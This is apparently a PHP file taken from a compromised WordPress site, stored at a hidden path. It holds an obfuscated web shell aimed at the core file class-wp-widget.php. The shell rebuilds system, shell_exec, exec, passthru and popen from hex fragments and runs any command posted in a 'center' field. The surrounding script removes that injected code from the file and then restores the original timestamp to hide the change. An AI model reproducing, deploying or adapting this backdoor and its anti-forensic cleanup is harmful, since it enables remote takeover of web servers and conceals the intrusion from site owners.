File: //usr/tmp/.content
<?php $path = '/home/globalmedtechsolution.com/public_html/wp-includes/class-wp-widget.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('%24variable1%20%3D%20%2779%27%3B%24variable2%20%3D%20%2773%27%3B%24variable3%20%3D%20%2765%27%3B%24variable4%20%3D%20%276d%27%3B%24variable5%20%3D%20%276c%27%3B%24variable6%20%3D%20%275f%27%3B%24variable7%20%3D%20%2778%27%3B%24variable8%20%3D%20%2763%27%3B%24variable9%20%3D%20%2772%27%3B%24variable10%20%3D%20%2775%27%3B%24variable11%20%3D%20%2770%27%3B%24variable12%20%3D%20%276f%27%3B%24variable13%20%3D%20%2761%27%3B%24variable14%20%3D%20%2767%27%3B%24variable15%20%3D%20%276e%27%3B%24variable16%20%3D%20%2774%27%3B%24system1%20%3D%20pack%28%22H%2A%22%2C%20%2773%27.%24variable1.%24variable2.%2774%27.%24variable3.%24variable4%29%3B%24system2%20%3D%20pack%28%22H%2A%22%2C%20%2773%27.%2768%27.%2765%27.%276c%27.%24variable5.%24variable6.%24variable3.%24variable7.%24variable3.%24variable8%29%3B%24system3%20%3D%20pack%28%22H%2A%22%2C%20%24variable3.%2778%27.%24variable3.%24variable8%29%3B%24system4%20%3D%20pack%28%22H%2A%22%2C%20%2770%27.%2761%27.%2773%27.%2773%27.%2774%27.%2768%27.%24variable9.%24variable10%29%3B%24system5%20%3D%20pack%28%22H%2A%22%2C%20%24variable11.%24variable12.%24variable11.%24variable3.%276e%27%29%3B%24system6%20%3D%20pack%28%22H%2A%22%2C%20%2773%27.%2774%27.%24variable9.%2765%27.%24variable13.%24variable4.%275f%27.%24variable14.%24variable3.%2774%27.%24variable6.%2763%27.%24variable12.%276e%27.%2774%27.%24variable3.%24variable15.%2774%27.%24variable2%29%3B%24system7%20%3D%20pack%28%22H%2A%22%2C%20%2770%27.%24variable8.%276c%27.%24variable12.%2773%27.%24variable3%29%3B%24center%20%3D%20pack%28%22H%2A%22%2C%20%2763%27.%24variable3.%276e%27.%24variable16.%2765%27.%24variable9%29%3Bif%28isset%28%24_POST%5B%24center%5D%29%29%7B%24center%3Dpack%28%22H%2A%22%2C%24_POST%5B%24center%5D%29%3Bif%28function_exists%28%24system1%29%29%7B%24system1%28%24center%29%3B%7Delseif%28function_exists%28%24system2%29%29%7Bprint%20%24system2%28%24center%29%3B%7Delseif%28function_exists%28%24system3%29%29%7B%24system3%28%24center%2C%24field_stor%29%3Bprint%20join%28%22%5Cn%22%2C%24field_stor%29%3B%7Delseif%28function_exists%28%24system4%29%29%7B%24system4%28%24center%29%3B%7Delseif%28function_exists%28%24system5%29%26%26function_exists%28%24system6%29%26%26function_exists%28%24system7%29%29%7B%24arg_placeholder%3D%24system5%28%24center%2C%22r%22%29%3Bif%28%24arg_placeholder%29%7B%24fld_const%3D%24system6%28%24arg_placeholder%29%3B%24system7%28%24arg_placeholder%29%3Bprint%20%24fld_const%3B%7D%7Dexit%3B%7D')."\n"; if (file_exists($path) && is_writable($path)) { $content = file_get_contents($path); if (strpos($content, $new_content) !== FALSE) { $content = str_replace($new_content, '', $content); file_put_contents($path, $content); @touch($path, $ft); } } die('!success!');